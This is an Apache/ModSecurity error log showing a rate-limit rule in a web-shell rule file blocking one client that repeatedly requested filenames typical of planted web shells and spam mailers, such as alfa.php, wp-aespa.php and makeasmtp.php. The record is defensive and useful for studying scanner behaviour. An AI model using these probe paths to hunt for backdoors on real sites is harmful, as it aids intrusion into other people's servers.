[Thu Jan 29 08:02:53.642201 2026] [:error] [pid 19070:tid 19125] [client 20.219.59.84:46292] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aXqjrbou83lIon_aKgY3YQAAAFM"]
[Thu Jan 29 08:02:54.041728 2026] [:error] [pid 19071:tid 19150] [client 20.219.59.84:46320] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aXqjrpfa8Ix5wWmtmJzEPgAAAJE"]
[Thu Jan 29 08:02:54.496449 2026] [:error] [pid 19069:tid 19082] [client 20.219.59.84:46291] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aXqjrvDHsRM4BJ9a4Qt5dwAAAAQ"]
[Thu Jan 29 08:02:55.548143 2026] [:error] [pid 19069:tid 19093] [client 20.219.59.84:47661] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aXqjr_DHsRM4BJ9a4Qt5eQAAAA8"]
[Thu Jan 29 08:02:56.326536 2026] [:error] [pid 19071:tid 19151] [client 20.219.59.84:16944] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aXqjsJfa8Ix5wWmtmJzEQQAAAJI"]
[Thu Jan 29 08:02:56.827975 2026] [:error] [pid 20576:tid 20590] [client 20.219.59.84:47668] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aXqjsCrDZws_FlQGi9fmxwAAAcQ"]
[Thu Jan 29 08:02:57.361816 2026] [:error] [pid 20579:tid 20655] [client 20.219.59.84:19574] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aXqjsTVXNopcNyjJc9WD0AAAAk4"]
[Thu Jan 29 08:02:57.996970 2026] [:error] [pid 19069:tid 19090] [client 20.219.59.84:46325] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aXqjsfDHsRM4BJ9a4Qt5ewAAAAw"]
[Thu Jan 29 08:02:58.687637 2026] [:error] [pid 19070:tid 19110] [client 20.219.59.84:46309] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aXqjsrou83lIon_aKgY3ZwAAAEQ"]
[Thu Jan 29 08:02:59.033425 2026] [:error] [pid 20486:tid 20502] [client 20.219.59.84:16953] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aXqjs3gqSZb6GBx5nnMWaAAAAQ0"]
[Thu Jan 29 08:02:59.364660 2026] [:error] [pid 19069:tid 19079] [client 20.219.59.84:51643] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aXqjs_DHsRM4BJ9a4Qt5fwAAAAE"]
[Thu Jan 29 08:02:59.762714 2026] [:error] [pid 20519:tid 20558] [client 20.219.59.84:47627] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aXqjswo4s4fyROrkyRlYvQAAAYo"]
[Thu Jan 29 08:03:00.103840 2026] [:error] [pid 20519:tid 20569] [client 20.219.59.84:47649] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aXqjtAo4s4fyROrkyRlYvwAAAZU"]
[Thu Jan 29 08:03:00.467376 2026] [:error] [pid 20576:tid 20587] [client 20.219.59.84:19583] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aXqjtCrDZws_FlQGi9fmzgAAAcE"]
[Thu Jan 29 08:03:00.917959 2026] [:error] [pid 20486:tid 20513] [client 20.219.59.84:46290] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aXqjtHgqSZb6GBx5nnMWawAAARg"]
[Thu Jan 29 08:03:01.359375 2026] [:error] [pid 20579:tid 20653] [client 20.219.59.84:47630] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aXqjtTVXNopcNyjJc9WD2gAAAkw"]
[Thu Jan 29 08:03:02.082362 2026] [:error] [pid 20519:tid 20572] [client 20.219.59.84:47634] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aXqjtgo4s4fyROrkyRlYxQAAAZg"]
[Thu Jan 29 08:03:02.661734 2026] [:error] [pid 20486:tid 20494] [client 20.219.59.84:46322] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aXqjtngqSZb6GBx5nnMWbgAAAQU"]
[Thu Jan 29 08:03:03.227489 2026] [:error] [pid 19070:tid 19109] [client 20.219.59.84:46275] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aXqjt7ou83lIon_aKgY3aAAAAEM"]
[Thu Jan 29 08:03:04.115302 2026] [:error] [pid 19070:tid 19116] [client 20.219.59.84:19537] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aXqjuLou83lIon_aKgY3bAAAAEo"]
[Thu Jan 29 08:03:04.525063 2026] [:error] [pid 20580:tid 20674] [client 20.219.59.84:19551] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aXqjuJCZ5HHdXPmeL59qJAAAAoY"]
[Thu Jan 29 08:03:04.924820 2026] [:error] [pid 20576:tid 20589] [client 20.219.59.84:16927] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aXqjuCrDZws_FlQGi9fm0AAAAcM"]
[Thu Jan 29 08:03:05.426495 2026] [:error] [pid 20486:tid 20496] [client 20.219.59.84:19562] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asas.php"] [unique_id "aXqjuXgqSZb6GBx5nnMWcQAAAQc"]
[Thu Jan 29 08:03:05.938167 2026] [:error] [pid 19071:tid 19151] [client 20.219.59.84:46311] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rk2.php"] [unique_id "aXqjuZfa8Ix5wWmtmJzERwAAAJI"]
[Thu Jan 29 08:03:06.349409 2026] [:error] [pid 20519:tid 20556] [client 20.219.59.84:47644] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rk2.php"] [unique_id "aXqjugo4s4fyROrkyRlYyQAAAYg"]
[Thu Jan 29 08:03:07.013301 2026] [:error] [pid 20519:tid 20566] [client 20.219.59.84:19457] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rk2.php"] [unique_id "aXqjuwo4s4fyROrkyRlYzAAAAZI"]
[Thu Jan 29 08:03:07.312737 2026] [:error] [pid 19177:tid 19198] [client 20.219.59.84:19544] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rk2.php"] [unique_id "aXqju3ipGz0PT8TrQv4HgQAAANM"]
[Thu Jan 29 08:03:07.654723 2026] [:error] [pid 19070:tid 19112] [client 20.219.59.84:47670] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aXqju7ou83lIon_aKgY3cgAAAEY"]
[Thu Jan 29 08:03:08.161038 2026] [:error] [pid 20486:tid 20490] [client 20.219.59.84:47657] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aXqjvHgqSZb6GBx5nnMWdgAAAQE"]
[Thu Jan 29 08:03:08.838361 2026] [:error] [pid 20579:tid 20668] [client 20.219.59.84:46305] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aXqjvDVXNopcNyjJc9WD4AAAAlg"]
[Thu Jan 29 08:03:09.478379 2026] [:error] [pid 20576:tid 20600] [client 20.219.59.84:19568] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aXqjvSrDZws_FlQGi9fm0gAAAc4"]
[Thu Jan 29 08:03:09.963171 2026] [:error] [pid 20519:tid 20549] [client 20.219.59.84:19570] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aXqjvQo4s4fyROrkyRlYzgAAAYE"]
[Thu Jan 29 08:03:10.595402 2026] [:error] [pid 20486:tid 20499] [client 20.219.59.84:46281] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aXqjvngqSZb6GBx5nnMWeQAAAQo"]
[Thu Jan 29 08:03:11.119990 2026] [:error] [pid 19070:tid 19111] [client 20.219.59.84:16941] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aXqjv7ou83lIon_aKgY3ewAAAEU"]
[Thu Jan 29 08:03:11.581273 2026] [:error] [pid 20519:tid 20562] [client 20.219.59.84:47679] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aXqjvwo4s4fyROrkyRlY0AAAAY4"]
[Thu Jan 29 08:03:12.110148 2026] [:error] [pid 20579:tid 20642] [client 20.219.59.84:19552] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aespa.php"] [unique_id "aXqjwDVXNopcNyjJc9WD5AAAAkE"]
[Thu Jan 29 08:03:12.814266 2026] [:error] [pid 20576:tid 20592] [client 20.219.59.84:46287] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aespa.php"] [unique_id "aXqjwCrDZws_FlQGi9fm2QAAAcY"]
[Thu Jan 29 08:03:13.585167 2026] [:error] [pid 20576:tid 20596] [client 20.219.59.84:47658] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aespa.php"] [unique_id "aXqjwSrDZws_FlQGi9fm2gAAAco"]
[Thu Jan 29 08:03:14.234883 2026] [:error] [pid 19069:tid 19080] [client 20.219.59.84:47654] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aespa.php"] [unique_id "aXqjwvDHsRM4BJ9a4Qt5mgAAAAI"]
[Thu Jan 29 08:03:14.978872 2026] [:error] [pid 20576:tid 20586] [client 20.219.59.84:19554] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aXqjwirDZws_FlQGi9fm3AAAAcA"]
[Thu Jan 29 08:03:15.491538 2026] [:error] [pid 19069:tid 19084] [client 20.219.59.84:46276] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aXqjw_DHsRM4BJ9a4Qt5mwAAAAY"]
[Thu Jan 29 08:03:16.234836 2026] [:error] [pid 20576:tid 20608] [client 20.219.59.84:47659] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aXqjxCrDZws_FlQGi9fm3wAAAdY"]
[Thu Jan 29 08:03:16.837441 2026] [:error] [pid 20519:tid 20554] [client 20.219.59.84:46329] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aXqjxAo4s4fyROrkyRlY1QAAAYY"]
[Thu Jan 29 08:03:17.298915 2026] [:error] [pid 20579:tid 20668] [client 20.219.59.84:47636] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aXqjxTVXNopcNyjJc9WD6wAAAlg"]
[Thu Jan 29 08:03:18.370431 2026] [:error] [pid 19069:tid 19088] [client 20.219.59.84:16896] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aXqjxvDHsRM4BJ9a4Qt5oAAAAAo"]
[Thu Jan 29 08:03:19.161131 2026] [:error] [pid 20486:tid 20499] [client 20.219.59.84:46335] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aXqjx3gqSZb6GBx5nnMWhgAAAQo"]
[Thu Jan 29 08:03:20.154743 2026] [:error] [pid 20579:tid 20651] [client 20.219.59.84:47660] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aXqjyDVXNopcNyjJc9WD8AAAAko"]
[Thu Jan 29 08:03:21.100191 2026] [:error] [pid 20578:tid 20623] [client 20.219.59.84:19498] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aXqjyQ6UX7yOMwQFiyecXgAAAgo"]
[Thu Jan 29 08:03:21.939231 2026] [:error] [pid 19069:tid 19085] [client 20.219.59.84:47665] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aXqjyfDHsRM4BJ9a4Qt5qQAAAAc"]
[Thu Jan 29 08:03:23.100171 2026] [:error] [pid 19071:tid 19150] [client 20.219.59.84:46288] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aXqjy5fa8Ix5wWmtmJzEUAAAAJE"]
[Thu Jan 29 08:03:23.738232 2026] [:error] [pid 20579:tid 20657] [client 20.219.59.84:47655] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aXqjyzVXNopcNyjJc9WD-AAAAlA"]
[Thu Jan 29 08:03:24.265932 2026] [:error] [pid 20486:tid 20503] [client 20.219.59.84:46328] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aXqjzHgqSZb6GBx5nnMWiwAAAQ4"]
[Thu Jan 29 08:03:25.387224 2026] [:error] [pid 19069:tid 19080] [client 20.219.59.84:19545] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aXqjzfDHsRM4BJ9a4Qt5rwAAAAI"]
[Thu Jan 29 08:03:25.860497 2026] [:error] [pid 20578:tid 20622] [client 20.219.59.84:19575] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aXqjzQ6UX7yOMwQFiyecaQAAAgk"]
[Thu Jan 29 08:03:26.278674 2026] [:error] [pid 19177:tid 19192] [client 20.219.59.84:19567] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "aXqjznipGz0PT8TrQv4HlwAAAM0"]
[Thu Jan 29 08:03:26.824151 2026] [:error] [pid 20486:tid 20489] [client 20.219.59.84:51614] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aXqjzngqSZb6GBx5nnMWkgAAAQA"]
